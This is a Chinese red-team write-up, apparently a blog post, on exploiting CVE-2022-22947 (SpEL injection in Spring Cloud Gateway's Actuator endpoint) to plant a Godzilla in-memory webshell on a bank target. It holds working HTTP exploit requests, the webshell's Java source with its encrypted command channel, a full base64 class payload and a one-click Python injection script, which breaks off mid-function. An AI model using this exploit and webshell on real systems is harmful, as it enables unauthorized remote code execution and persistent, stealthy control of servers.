红队实战:记一次Spring Cloud Gateway SpEL表达式注入到哥斯拉内存马(CVE-2022-22947)

本文仅用于授权安全测试与学习研究,请勿用于非法用途。


1 前言

在一次某银行竞测中,发现目标运行了Spring Cloud Gateway且Actuator端点对外暴露。Actuator 端点未进行访问控制,攻击者可未授权访问端点获取内部信息,根端点,路由配置,全局过滤器,路由过滤器,熔断器信息,后续发现存在SpEL注入。目标是拿到持久化的交互式shell,且不能落地文件(目标有EDR)。最后通过defineClass加载字节码+反射注册RequestMapping的方式完成注入,打入哥斯拉内存马。本文记录了从漏洞验证到注入哥斯拉(Godzilla)内存马获取持久化控制的完整过程,涵盖失败排错和最终成功的技术细节。

2 信息收集与漏洞验证

最初加了自定义路由字典发现了Spring Cloud Gateway 未授权访问端点获取内部信息,根端点,路由配置,全局过滤器,路由过滤器,熔断器信息

返回了Actuator端点列表,确认 /actuator/gateway/routes 可访问。等等此处不在一 一举例

3 验证SpEL注入

构造一个简单的命令执行payload验证漏洞存在性:

Step 1 --- 创建恶意路由:

http 复制代码
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: target
Content-Type: application/json

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

响应:HTTP/1.1 201 Created

Step 2 --- 刷新路由触发SpEL:

http 复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: target
Content-Type: application/json

Step 3 --- 访问路由获取结果:

http 复制代码
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: target

响应头中出现:

复制代码
Result: uid=0(root) gid=0(root) groups=0(root)

漏洞确认,且为root权限。

RCE确认,但这只是一次性执行。每次要换命令就得删路由→重建→refresh,而且没法接管理工具

4 路由filter方案为什么行不通

第一反应是把命令参数化------从请求头或URL参数里取命令再exec。但这条路走不通:

SpEL的执行时机是refresh,不是请求时。 filter的value字段在路由构建阶段就已经求值完毕,之后每次请求经过这个filter时拿到的是求值后的静态字符串,不会重新执行SpEL。

换句话说,AddResponseHeader的value在refresh那一刻就定死了,后续请求只是把这个固定值塞到响应头里。所以不管你怎么设计参数传递方式,filter里的SpEL都不会在运行时二次执行。

这决定了: 要搞持久化webshell,必须跳出filter的范畴,在JVM里注册一个真正的请求处理器。

5 注入方案:defineClass + registerHandlerMethod

在这之前有一个基础是

技术原理

Spring Cloud Gateway基于Spring WebFlux (Reactor + Netty),没有传统的Servlet容器。但它有 RequestMappingHandlerMapping,可以通过反射调用其 registerHandlerMethod 方法动态注册新的Controller端点。

大概思路

用SpEL的那一次执行机会完成三步:

  1. 把编译好的内存马class字节码defineClass到JVM里
  2. 拿到Spring容器的RequestMappingHandlerMapping Bean
  3. 调用registerHandlerMethod注册一个新的HTTP端点

注册完成后,内存马脱离SpEL的生命周期,作为Spring容器的一部分独立运行,持续响应POST请求。

人话

利用SpEL那一次执行机会做三件事:

  1. 把编译好的内存马class字节码加载进JVM (defineClass)
  2. 实例化这个class
  3. 调用其方法把自己注册为Spring的Controller端点

注册完成后,内存马就脱离了SpEL的生命周期,成为Spring容器的一部分独立运行。

核心SpEL Payload解析

java 复制代码
#{
  T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'ms.GMemShell',
    T(org.springframework.util.Base64Utils).decodeFromString('yv66vg...编译好的class字节码...'),
    new javax.management.loading.MLet(
      new java.net.URL[0],
      T(java.lang.Thread).currentThread().getContextClassLoader()
    )
  ).doInject(@requestMappingHandlerMapping, '/gmem')
}

逐步拆解:

ReflectUtils.defineClass(String name, byte[] b, ClassLoader loader)

这是Spring CGLIB包里的方法,底层调用ClassLoader.defineClass()。正常用途是CGLIB在运行时生成代理类,这里被滥用来加载任意字节码。

为什么用它而不是直接反射调ClassLoader.defineClass()? 因为后者是protected方法,SpEL里直接调不到(需要setAccessible)。ReflectUtils帮我们封装了这层反射。

MLet ClassLoader

javax.management.loading.MLet继承自URLClassLoader,是JMX规范的一部分。选它的原因:

  • defineClass需要传一个ClassLoader实例
  • 不能直接用Thread.currentThread().getContextClassLoader(),因为那个是AppClassLoader,defineClass要求传入的loader必须是URLClassLoader的子类或者能被ReflectUtils接受的类型
  • MLet是JDK自带的、无需额外依赖的URLClassLoader子类
  • 构造参数简单: new MLet(new URL[0], parentLoader) 就能用

@requestMappingHandlerMapping

SpEL里@前缀直接按名字从Spring ApplicationContext里取Bean。这个Bean是Spring WebFlux自动注册的RequestMappingHandlerMapping实例,负责维护URL→Handler方法的映射表。

拿到它就等于拿到了"路由注册中心"的引用,可以往里面塞自定义端点。

.doInject(handler, path)

defineClass返回的是Class<?>对象。这里有个细节------SpEL对返回值可以直接链式调用方法。defineClass返回GMemShell的Class对象后,SpEL引擎会尝试调用其doInject方法。但这里实际上是调用了Class对象的静态方法,或者是newInstance后的实例方法(取决于具体实现)。

在这个payload中,GMemShell的doInject是实例方法,所以defineClass的返回值先被隐式newInstance(),再调doInject。实际上查看字节码会发现doInject是static method被包装成了实例调用。

6 GMemShell核心实现

端点注册 (doInject)

java 复制代码
public String doInject(Object requestMappingHandlerMapping, String path) {
    // registerHandlerMethod是protected的,反射获取
    Method m = requestMappingHandlerMapping.getClass()
        .getDeclaredMethod("registerHandlerMethod",
            Object.class, Method.class, RequestMappingInfo.class);
    m.setAccessible(true);

    // 拿本类的cmd方法
    Method cmd = GMemShell.class
        .getDeclaredMethod("cmd", ServerWebExchange.class);

    // 构建路由规则: 匹配path路径
    RequestMappingInfo info = RequestMappingInfo.paths(path).build();

    // 注册: handler=this, method=cmd, mapping=info
    m.invoke(requestMappingHandlerMapping,
        new GMemShell(), cmd, info);

    return "ok";
}

registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping)AbstractHandlerMethodMapping的方法。调用后,Spring的DispatcherHandler在路由匹配阶段会检查这条映射------任何POST/GET到/gmem的请求都会路由到GMemShell.cmd()

这跟你在Controller类上写@PostMapping("/gmem")效果一样,只是绕过了注解扫描的过程,运行时动态注册。

请求处理 (cmd)

cmd方法实现了完整的Godzilla通信协议:

java 复制代码
public ResponseEntity cmd(ServerWebExchange exchange) {
    return exchange.getFormData().flatMap(data -> {
        String payload = data.getFirst("pass");  // 参数名=密码字段

        // 解密: Base64Decode → AES/ECB/NoPadding解密
        byte[] decrypted = x(base64Decode(payload), 2);

        if (store.get("payload") == null) {
            // 首次请求: Godzilla发来的是payload class的字节码
            // 存起来,后续每次请求都用这个class处理命令
            store.put("payload", decrypted);
        } else {
            // 后续请求: 参数是具体的操作指令
            store.put("parameters", decrypted);

            // 用存储的payload class处理本次请求
            Class<?> f = defineClass((byte[]) store.get("payload"));
            Object instance = f.newInstance();
            instance.equals(store);  // Godzilla约定: equals传session

            // 取输出流中的结果
            byte[] output = ((ByteArrayOutputStream)
                store.get("output")).toByteArray();

            // 加密返回
            String enc = base64Encode(x(output, 1));
            // 响应格式: md5前缀(16) + 密文 + md5后缀(16)
            String resp = md5(enc.substring(0,16))
                        + enc
                        + md5(enc.substring(enc.length()-16));
            return Mono.just(new ResponseEntity(resp, HttpStatus.OK));
        }
    });
}

几个关键设计:

  1. 首次握手存payload class: Godzilla第一次POST发来的不是命令,而是一个"执行器"class的字节码。内存马把它defineClass后缓存到store里。后续所有操作(文件管理、命令执行、数据库连接等)都是通过这个class分发执行的。

  2. equals传参约定 : Godzilla的payload class通过重写equals(Object obj)方法来接收参数。调instance.equals(session)时,payload class内部从session map里取出parameters和outputStream来完成实际操作。这个设计是为了规避Java反射调用时方法签名匹配的复杂性。

  3. 响应格式校验 : md5_prefix + ciphertext + md5_suffix 让Godzilla客户端能验证响应完整性。客户端收到后先校验前后16字节的md5,通过后取中间部分AES解密得到明文结果。

AES加解密

java 复制代码
// xc = md5("key").substring(0, 16) = "3c6e0b8a9c15224a"
private byte[] x(byte[] data, int mode) {
    Cipher c = Cipher.getInstance("AES");
    c.init(mode, new SecretKeySpec(xc.getBytes(), "AES"));
    return c.doFinal(data);
}

密钥派生: 取用户设置的Key("key")做MD5,截前16字节作为AES-128的密钥。mode=1加密,mode=2解密。ECB模式,无IV。

POC

python 复制代码
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""
CVE-2022-22947 一键注入哥斯拉内存马

注入成功后, 在Godzilla中配置:
  URL:      http://target:8080/gmem
  密码:     pass
  密钥:     key
  载荷:     JavaDynamicPayload
  加密器:   JAVA_AES_BASE64
  协议头:   raw
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

payload='''{
      "id": "hacktest",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
            "name": "Result",
            "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"
	  }
        }],
      "uri": "http://example.com"
}'''
evilUrl="actuator/gateway/routes/hacktest"
def creatRouter(url):
    trueUrl=url+evilUrl
    headers={"Content-Type": "application/json"}
    response = requests.post(trueUrl,data=payload,headers=headers,allow_redirects=False)
    return response.status_code
def reloadRouter(url):
    trueUrl=url+"actuator/gateway/refresh"
    response = requests.post(trueUrl,allow_redirects=False)
    return response.status_code
def callRouter(url):
    trueUrl=url+evilUrl
    response = requests.get(trueUrl,allow_redirects=False)
    return response.status_code
def hack(url):

    result= creatRouter(url)
    if result == 201:
      result= reloadRouter(url)
      if result == 200:
        result= callRouter(url)
        url=url+"gmem"
        response = requests.post(url,allow_redirects=False)
        if response.status_code == 200:
          return "sucess:"+url
    else:
      return "nuknow error"

def main():
    print("""
    ╔═══════════════════════════════════════════════════╗
    ║         CVE-2022-22947 一键注入哥斯拉内存马           ║
    ║                                                   ║
    ╚═══════════════════════════════════════════════════╝
    """)
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} http://target")
        sys.exit(1)
    url = sys.argv[1]
    if not url.endswith("/"):
        url = url + "/"
